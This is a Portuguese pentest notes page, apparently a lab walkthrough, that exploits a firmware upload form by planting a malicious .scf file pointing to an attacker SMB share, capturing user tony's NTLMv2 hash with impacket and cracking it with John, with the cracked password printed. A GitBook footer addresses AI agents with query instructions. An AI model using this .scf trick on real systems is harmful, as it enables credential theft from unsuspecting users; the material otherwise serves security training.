> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md).

# Upload de Arquivo e Captura de NTLMv2 .scf

<figure><img src="/files/d61490c3e4b74af4ca05ac0daecf99cb859514da" alt=""><figcaption></figcaption></figure>

O site oferece uma opção para enviar firmware. A mensagem diz:

> Selecione o modelo da impressora e baixe a atualização de firmware correspondente ao firmware em nosso compartilhamento de arquivos. Nossa equipe de TI revisará os envios manualmente e iniciará os testes em breve.

<figure><img src="/files/b5047a0b0d245469f15c4df78cd9481065983e1d" alt=""><figcaption></figcaption></figure>

## Exploração - Arquivo SCF malicioso:

Criação de um arquivo malicioso `.scf` para capturar o NTLMv2 de um usuário quando eles o abrirem:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop

```

Inicie um listener com **impacket** para capturar o NTLMv2:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support

```

Captura do hash NTLMv2 do usuário `tony`.

<figure><img src="/files/9ba9ecada5fd3bae240c55ea8bb8a14c9d01a253" alt=""><figcaption></figcaption></figure>

Quebra do hash NTLM com **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`tony:liltony`

<figure><img src="/files/69863f4d3c10b9093a4d7d8d2d703e5246ce0705" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
